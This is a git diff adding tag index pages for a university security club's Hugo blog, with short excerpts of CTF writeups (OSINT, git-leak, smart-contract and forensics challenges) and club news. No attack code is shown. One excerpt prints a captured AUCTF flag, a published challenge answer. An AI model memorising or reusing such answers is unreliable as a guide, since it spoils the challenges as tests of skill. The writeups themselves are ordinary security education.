AUCTF - ALIedAS About Some Thing

903 points

Prompt

See what you can find.

AUCTFShh

Author: c

Solution

AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or …

Read More

\ No newline at end of file diff --git a/tags/auctf/index.xml b/tags/auctf/index.xml new file mode 100644 index 0000000..a13151e --- /dev/null +++ b/tags/auctf/index.xml @@ -0,0 +1,18 @@ +Codestin Search Apphttps://osusec.org/tags/auctf/Recent content in auctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 05 Apr 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/auctf-aliedas-about-some-thing/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-aliedas-about-some-thing/903 points +Prompt See what you can find. +AUCTFShh +Author: c +Solution AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk. +I opened each of the greyed out sites in a tab, and looked through each for anything suspicious.Codestin Search Apphttps://osusec.org/blog/auctf-good-old-days/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-good-old-days/877 points +Prompt This site used to look a lot cooler. +Author: c +Solution Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: https://web.archive.org/web/sitemap/https://ctf.auburn.edu/. It shows that, among other subdirectories (and trust me, I visited each a couple times), the /users and /users/50 pages have both been captured. +https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users has a user called auctf{Th053_w3rE_Th3_guD_0l3_d4y5} – why it has to be at the end of that page, I don’t know (I checked the top half a couple times during my research).Codestin Search Apphttps://osusec.org/blog/auctf-osint-you-all-over-the-place/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-osint-you-all-over-the-place/A post-competition writeup; 983 points +Prompt I do not have access to the prompt, but the URL is devs-r-us.xyz +Solution After solving the first three challenges, I looked into this one. I investigated the website provided thouroughly, and found out the following: +Images mcofee.png and mcafee.png are different, their difference contains some data and a discord link (applicable to Oryx, the last OSINT challenge). Loretta Mcintosh (with twitter handle @BackUpOrMcintoshYouOut) and Jorge Greenwood (@JorgeGreenwoodCodes), and two sites listed in Jorge Greenwood’s Bio, all of which are dead ends on Wayback Machine and at the time of writing (facepalm.Codestin Search Apphttps://osusec.org/blog/auctf-who-made-me/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-who-made-me/950 points +Prompt One of the developers of this CTF worked really hard on this challenge. +note: the answer is not the author’s name +Author: c +Solution: Now for a much more real-world OSINT challenge. First, I started by doing a bit of recon. I ascertained that: +AU in AUCTF is for Auburn University (homeapge) AUCTF is run by members of the AUEHC (Auburn University Ethical Hacking Club). AUEHC is comprised of members: President – Jordan Sosnowski: jjs@auburn. \ No newline at end of file diff --git a/tags/bsidespdx2020/index.html b/tags/bsidespdx2020/index.html new file mode 100644 index 0000000..3c6fddc --- /dev/null +++ b/tags/bsidespdx2020/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

bsidespdx2020

BSidesPDX logo

BSidesPDX - Xclusive Numborz

Prompt

Category: Over The Air

290 Points

8 Solves

I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to …

Read More

BSidesPDX logo

BSidesPDX - Please Stand By

Prompt

Category: Over The Air

263 Points

14 Solves

Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in …

Read More

BSidesPDX logo

BSidesPDX - Down the Rabbit Hole

Prompt

Category: Over The Air

297 Points

5 Solves

During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman …

Read More

\ No newline at end of file diff --git a/tags/bsidespdx2020/index.xml b/tags/bsidespdx2020/index.xml new file mode 100644 index 0000000..1aec1f0 --- /dev/null +++ b/tags/bsidespdx2020/index.xml @@ -0,0 +1,16 @@ +Codestin Search Apphttps://osusec.org/tags/bsidespdx2020/Recent content in bsidespdx2020 on OSU Security ClubHugo -- gohugo.ioen-usSun, 25 Oct 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Prompt Category: Over The Air +297 Points +5 Solves +During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out.Codestin Search Apphttps://osusec.org/blog/bsidespdx-please-stand-by/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-please-stand-by/Prompt Category: Over The Air +263 Points +14 Solves +Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in the transmission. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of the twitch stream(recording)Codestin Search Apphttps://osusec.org/blog/bsidespdx-xclusive-numborz/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-xclusive-numborz/Prompt Category: Over The Air +290 Points +8 Solves +I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution The first challenge was easy, but this one is a little trickier. \ No newline at end of file diff --git a/tags/bytebandits/index.html b/tags/bytebandits/index.html new file mode 100644 index 0000000..b0e77b0 --- /dev/null +++ b/tags/bytebandits/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

bytebandits

ByteBanditsCTF logo

ByteBanditsCTF - string.equals(integer) Writeup

Prompt

Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in …

Read More

\ No newline at end of file diff --git a/tags/bytebandits/index.xml b/tags/bytebandits/index.xml new file mode 100644 index 0000000..e11e20e --- /dev/null +++ b/tags/bytebandits/index.xml @@ -0,0 +1,4 @@ +Codestin Search Apphttps://osusec.org/tags/bytebandits/Recent content in bytebandits on OSU Security ClubHugo -- gohugo.ioen-usSun, 12 Apr 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Sun, 12 Apr 2020 00:00:00 -0700https://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Prompt Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers? +The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{}) +File: hash.zip +Solution The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate hashes. \ No newline at end of file diff --git a/tags/cdc/index.html b/tags/cdc/index.html new file mode 100644 index 0000000..4b849d4 --- /dev/null +++ b/tags/cdc/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

cdc

Cyberforce Competition

The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready!

If you are interested in being …

Read More

\ No newline at end of file diff --git a/tags/cdc/index.xml b/tags/cdc/index.xml new file mode 100644 index 0000000..4de4718 --- /dev/null +++ b/tags/cdc/index.xml @@ -0,0 +1,4 @@ +Codestin Search Apphttps://osusec.org/tags/cdc/Recent content in cdc on OSU Security ClubHugo -- gohugo.ioen-usWed, 26 Sep 2018 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/cyberforce-competition/Wed, 26 Sep 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition/The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready! +If you are interested in being on the team for this competition, please fill out the form here by October 10th. +Requirements for applying: +You will be able to spend time during October and November preparing for the competition by completing a variety of tasks You are able to travel to Washington or California to compete in the competition on November 30th and December 1st We will probably be leaving the night of the 29th Even if you think you might not be qualified enough, I’d still wholly encourage you to apply. \ No newline at end of file diff --git a/tags/codebreaker/index.html b/tags/codebreaker/index.html new file mode 100644 index 0000000..454f3e5 --- /dev/null +++ b/tags/codebreaker/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

codebreaker

NSA Codebreaker 2018 Task 7

Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds …

Read More

NSA Codebreaker 2018 - Task 6

Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether …

Read More

Screenshot of the NSA Codebreaker Challenge's website scoreboard.

NSA Codebreaker Challenge 2018 Results

The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is …

Read More

\ No newline at end of file diff --git a/tags/codebreaker/index.xml b/tags/codebreaker/index.xml new file mode 100644 index 0000000..f7f4364 --- /dev/null +++ b/tags/codebreaker/index.xml @@ -0,0 +1,7 @@ +Codestin Search Apphttps://osusec.org/tags/codebreaker/Recent content in codebreaker on OSU Security ClubHugo -- gohugo.ioen-usWed, 16 Jan 2019 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-6/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-6/Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether (not including transaction costs). We are given the source for three smart contracts: the Escrow contract, the Ransom contract, and the Registry contract. +Decryption Overview Let’s first look at the intended method of recovering the decryption key. +From the Escrow contract, the victim calls payRansom() to pay the ransom amount.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-7/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-7/Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds in the Escrow contract, then transfer the funds to the victims. Recall that from task 6, we found that we could deploy and authenticate arbitrary ransom contracts. +Scanning for Vulnerabilities A natural place we can start looking for a vulnerability is the requestRefund() function.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2018-results/Sun, 06 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2018-results/The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is awesome! +For those of you who are unfamiliar with the Codebreaker Challenge, it is a CTF-style event put on every year in the fall by the National Security Agency usually featuring some reverse engineering, vulnerability analysis, and exploit development, along with something unique to keep things interesting. \ No newline at end of file diff --git a/tags/crowdstrike-adversary-quest/index.html b/tags/crowdstrike-adversary-quest/index.html new file mode 100644 index 0000000..98a07e9 --- /dev/null +++ b/tags/crowdstrike-adversary-quest/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

crowdstrike adversary quest

Logo for Crowdstrike Adversary Quest

Crowdstrike Adversary Quest - Much Sad

Prompt

We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom …

Read More

\ No newline at end of file diff --git a/tags/crowdstrike-adversary-quest/index.xml b/tags/crowdstrike-adversary-quest/index.xml new file mode 100644 index 0000000..2f3f37c --- /dev/null +++ b/tags/crowdstrike-adversary-quest/index.xml @@ -0,0 +1,2 @@ +Codestin Search Apphttps://osusec.org/tags/crowdstrike-adversary-quest/Recent content in crowdstrike adversary quest on OSU Security ClubHugo -- gohugo.ioen-usTue, 02 Feb 2021 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Prompt We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary’s online presence? +NOTE: Flags will be easily identifiable by following the format CS{some_secret_flag_text}. They must be submitted in full, including the CS{ and } parts. \ No newline at end of file diff --git a/tags/csaw/index.html b/tags/csaw/index.html new file mode 100644 index 0000000..e930455 --- /dev/null +++ b/tags/csaw/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

CSAW

CSAW Prep

It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows:

  1. Register on …

Read More

\ No newline at end of file diff --git a/tags/csaw/index.xml b/tags/csaw/index.xml new file mode 100644 index 0000000..ee3c4a2 --- /dev/null +++ b/tags/csaw/index.xml @@ -0,0 +1,2 @@ +Codestin Search Apphttps://osusec.org/tags/csaw/Recent content in CSAW on OSU Security ClubHugo -- gohugo.ioen-usWed, 01 Aug 2018 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/csaw-prep/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/blog/csaw-prep/It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows: +Register on CSAW 365 (https://365.csaw.io/) Join our class so that I can keep track of your score (Please check Discord or your email for the class code) Work on solving challenges through the end of August. \ No newline at end of file diff --git a/tags/ctf/index.html b/tags/ctf/index.html new file mode 100644 index 0000000..eb9dcc0 --- /dev/null +++ b/tags/ctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

CTF

CSAW Prep

It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows:

  1. Register on …

Read More

\ No newline at end of file diff --git a/tags/ctf/index.xml b/tags/ctf/index.xml new file mode 100644 index 0000000..32f1cf5 --- /dev/null +++ b/tags/ctf/index.xml @@ -0,0 +1,2 @@ +Codestin Search Apphttps://osusec.org/tags/ctf/Recent content in CTF on OSU Security ClubHugo -- gohugo.ioen-usWed, 01 Aug 2018 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/csaw-prep/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/blog/csaw-prep/It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows: +Register on CSAW 365 (https://365.csaw.io/) Join our class so that I can keep track of your score (Please check Discord or your email for the class code) Work on solving challenges through the end of August. \ No newline at end of file diff --git a/tags/cyberforce/index.html b/tags/cyberforce/index.html new file mode 100644 index 0000000..b5b6233 --- /dev/null +++ b/tags/cyberforce/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

cyberforce

Cyberforce Competition logo

DOE Cyberforce Competition 2021

On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition ( …

Read More

Cyberforce Competition

The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready!

If you are interested in being …

Read More

\ No newline at end of file diff --git a/tags/cyberforce/index.xml b/tags/cyberforce/index.xml new file mode 100644 index 0000000..bfc3438 --- /dev/null +++ b/tags/cyberforce/index.xml @@ -0,0 +1,6 @@ +Codestin Search Apphttps://osusec.org/tags/cyberforce/Recent content in cyberforce on OSU Security ClubHugo -- gohugo.ioen-usSun, 21 Nov 2021 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/doe-cyberforce-competition-2021/Sun, 21 Nov 2021 00:00:00 -0700https://osusec.org/blog/doe-cyberforce-competition-2021/On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition (https://cyberforcecompetition.com/) out of the 135 teams registered for the competition. +The team roster was: +Casey Colley (Captain) Mike Carris Robert Detjens Brandon Ellis Huy Nguyen Lyell Read The final scoreboard was as follows, if a link to an official final scoreboard is made available, I will link it here.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition/Wed, 26 Sep 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition/The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready! +If you are interested in being on the team for this competition, please fill out the form here by October 10th. +Requirements for applying: +You will be able to spend time during October and November preparing for the competition by completing a variety of tasks You are able to travel to Washington or California to compete in the competition on November 30th and December 1st We will probably be leaving the night of the 29th Even if you think you might not be qualified enough, I’d still wholly encourage you to apply. \ No newline at end of file diff --git a/tags/ekoparty2020/index.html b/tags/ekoparty2020/index.html new file mode 100644 index 0000000..c98e553 --- /dev/null +++ b/tags/ekoparty2020/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

ekoparty2020

EkoPartyCTF logo

EkoPartyCTF - Leak

EkoParty CTF 2020 Git 1

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc …

Read More

EkoPartyCTF logo

EkoPartyCTF - Env

EkoParty CTF 2020 Git 3

Prompt

Not too sure of the original prompt, however I did not need it.

Solution

After the second part of the git challenge saga, we have gotten a new repository with some new …

Read More

EkoPartyCTF logo

EkoPartyCTF - Docs

EkoParty CTF 2020 Git 2

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this …

Read More

\ No newline at end of file diff --git a/tags/ekoparty2020/index.xml b/tags/ekoparty2020/index.xml new file mode 100644 index 0000000..d4addac --- /dev/null +++ b/tags/ekoparty2020/index.xml @@ -0,0 +1,10 @@ +Codestin Search Apphttps://osusec.org/tags/ekoparty2020/Recent content in ekoparty2020 on OSU Security ClubHugo -- gohugo.ioen-usMon, 28 Sep 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/ekopartyctf-docs/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-docs/EkoParty CTF 2020 Git 2 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this challenge. For that reason, I solved this challenge first. +A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into chall and chall.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-env/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-env/EkoParty CTF 2020 Git 3 +Prompt Not too sure of the original prompt, however I did not need it. +Solution After the second part of the git challenge saga, we have gotten a new repository with some new github actions. We know, before analyzing these however, that: +Issues filed to the ekolabs repo will be ‘moved’ to the ekoparty-internal repo. We control content in the submitted issues, and this is copied to the new issues in ekoparty-internal repo.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-leak/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-leak/EkoParty CTF 2020 Git 1 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc one. In light of this, I solved the second challenge first 😛 +When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this: \ No newline at end of file diff --git a/tags/elections/index.html b/tags/elections/index.html new file mode 100644 index 0000000..50a4dff --- /dev/null +++ b/tags/elections/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

elections

The club's new 6 officers in front of screens and a whiteboard

2023-2024 OSUSEC Officers Selected

This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are …

Read More

2022-2023 OSUSEC Officers Decided

The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023.

President: Cameron McCawley …

Read More

\ No newline at end of file diff --git a/tags/elections/index.xml b/tags/elections/index.xml new file mode 100644 index 0000000..3365694 --- /dev/null +++ b/tags/elections/index.xml @@ -0,0 +1,5 @@ +Codestin Search Apphttps://osusec.org/tags/elections/Recent content in elections on OSU Security ClubHugo -- gohugo.ioen-usMon, 24 Apr 2023 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/2023-2024-osusec-officers-selected/Mon, 24 Apr 2023 00:00:00 -0700https://osusec.org/blog/2023-2024-osusec-officers-selected/This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are your officers for the 2023-2024 academic year: +President: Casey Colley Vice President: Otso Barron Treasurer: Abigail Whittle Lab Manager: Lucas Ball CTF League Coordinator: Zane Othman-Gomez Recruitment and Community Outreach Manager: Julie Weber +Thank you to all who came (or attended on Discord) and took part in democracy!Codestin Search Apphttps://osusec.org/blog/2022-2023-osusec-officers-decided/Wed, 13 Apr 2022 00:00:00 -0700https://osusec.org/blog/2022-2023-osusec-officers-decided/The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023. +President: Cameron McCawley Vice President: Casey Colley Treasurer: Mike Carris Lab Manager: Lucas Ball CTF League Coordinator: Allen Benjamin Recruitment Officer: Brandon Ellis (Interim) Community Manager: Gabriel Kulp +Thanks to everyone who participated! \ No newline at end of file diff --git a/tags/fireshellctf/index.html b/tags/fireshellctf/index.html new file mode 100644 index 0000000..f15278a --- /dev/null +++ b/tags/fireshellctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

fireshellctf

The Fireshell Security Team's banner, featuring their website URL

FireshellCTF Against the Perfect discord Inquisitor 1 and 2

Prompt 1

You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from …

Read More

\ No newline at end of file diff --git a/tags/fireshellctf/index.xml b/tags/fireshellctf/index.xml new file mode 100644 index 0000000..d9c9981 --- /dev/null +++ b/tags/fireshellctf/index.xml @@ -0,0 +1,5 @@ +Codestin Search Apphttps://osusec.org/tags/fireshellctf/Recent content in fireshellctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 29 Mar 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Prompt 1 You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from this world. +TL;DR find the flag +Kingdom Chall +HINT: Title/Chall name +Prompt 2 There is a mage in the tavern that reveals secrets from the place. He is friendly, so he can help you! \ No newline at end of file diff --git a/tags/fwordctf2020/index.html b/tags/fwordctf2020/index.html new file mode 100644 index 0000000..37f450a --- /dev/null +++ b/tags/fwordctf2020/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

fwordctf2020

Fword CTF logo

Fword CTF - Identity Fraud

Points: 419 Solves: 86 Category: OSINT

Prompt

Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. …

Read More

\ No newline at end of file diff --git a/tags/fwordctf2020/index.xml b/tags/fwordctf2020/index.xml new file mode 100644 index 0000000..b9afbb3 --- /dev/null +++ b/tags/fwordctf2020/index.xml @@ -0,0 +1,3 @@ +Codestin Search Apphttps://osusec.org/tags/fwordctf2020/Recent content in fwordctf2020 on OSU Security ClubHugo -- gohugo.ioen-usMon, 31 Aug 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/fword-ctf-identity-fraud/Mon, 31 Aug 2020 00:00:00 -0700https://osusec.org/blog/fword-ctf-identity-fraud/Points: 419 Solves: 86 Category: OSINT +Prompt Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. … Can you help me in solving the task? +Flag Format: Eword{} \ No newline at end of file diff --git a/tags/hitconctf2018/index.html b/tags/hitconctf2018/index.html new file mode 100644 index 0000000..4b09d8b --- /dev/null +++ b/tags/hitconctf2018/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

hitconctf2018

HITCON CTF 2018 EV3 Basic

Link to Github

Screenshot of a CTFd challenge called EV3 Basic with a TAR archive to download.

Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways.

EV3 is the latest generation of the LEGO Mindstorms robots, and thanks …

Read More

\ No newline at end of file diff --git a/tags/hitconctf2018/index.xml b/tags/hitconctf2018/index.xml new file mode 100644 index 0000000..29cd03a --- /dev/null +++ b/tags/hitconctf2018/index.xml @@ -0,0 +1,4 @@ +Codestin Search Apphttps://osusec.org/tags/hitconctf2018/Recent content in hitconctf2018 on OSU Security ClubHugo -- gohugo.ioen-usMon, 22 Oct 2018 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Mon, 22 Oct 2018 00:00:00 -0700https://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Link to Github +Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways. +EV3 is the latest generation of the LEGO Mindstorms robots, and thanks to this challenge I know a lot more about the Mindstorms Communication and Firmware Developer Kits than I ever thought I would. +The challenge includes two files: A picture of the screen of the robot, and a . \ No newline at end of file diff --git a/tags/houseplantctf/index.html b/tags/houseplantctf/index.html new file mode 100644 index 0000000..16ba745 --- /dev/null +++ b/tags/houseplantctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

houseplantctf

HouseplantCTF logo

HouseplantCTF Satan's Jigsaw Writeup

Prompt

Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁

Dev: Tom

Hint! long_to_bytes

File: chall.7z

Solution

This …

Read More

Houseplant CTF logo

HouseplantCTF - Catography Writeup

Prompt

Jubie’s released her own collection of cat pictures. Go check it out!

http://challs.houseplant.riceteacatpanda.wtf:30002

Note: The Unsplash author credit is not a part of the challenge, it’s …

Read More

\ No newline at end of file diff --git a/tags/houseplantctf/index.xml b/tags/houseplantctf/index.xml new file mode 100644 index 0000000..b2a0011 --- /dev/null +++ b/tags/houseplantctf/index.xml @@ -0,0 +1,10 @@ +Codestin Search Apphttps://osusec.org/tags/houseplantctf/Recent content in houseplantctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 26 Apr 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/houseplantctf-catography-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-catography-writeup/Prompt Jubie’s released her own collection of cat pictures. Go check it out! +http://challs.houseplant.riceteacatpanda.wtf:30002 +Note: The Unsplash author credit is not a part of the challenge, it’s only there to conform with the Unsplash image license. +Dev: jammy +Solution Browsing the site, we can see that it is a collection of cat images… A lot of them. From inspecting the sources, we can see that these images are pulled from an API at http://challs.Codestin Search Apphttps://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Prompt Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁 +Dev: Tom +Hint! long_to_bytes +File: chall.7z +Solution This provided archive contains 90,000 JPEG’s. I extracted all of them to ./images (relative to this README’s PWD). Each of these images has a size of 1 pixel. +Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a ‘static’ image. \ No newline at end of file diff --git a/tags/ijctf/index.html b/tags/ijctf/index.html new file mode 100644 index 0000000..01bb52e --- /dev/null +++ b/tags/ijctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

ijctf

IJCTF logo

IJCTF - Vault Writeup

Prompt

We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10).

shift register… …

Read More

\ No newline at end of file diff --git a/tags/ijctf/index.xml b/tags/ijctf/index.xml new file mode 100644 index 0000000..67c6f15 --- /dev/null +++ b/tags/ijctf/index.xml @@ -0,0 +1,5 @@ +Codestin Search Apphttps://osusec.org/tags/ijctf/Recent content in ijctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 26 Apr 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/ijctf-vault-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/ijctf-vault-writeup/Prompt We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10). +shift register… +Author : Harsh and warlock_rootx +Hint: if pin in user_input(): #Good Stuff… +Solution This problem (and especially the hint) make clear what we have to do. We need to provide the discord bot with as many possible passcodes as we can for the suggested charset and length as possible… now, discord makes this hard, as messages are limited to 2000 characters. \ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 0000000..12eedb0 --- /dev/null +++ b/tags/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Tags

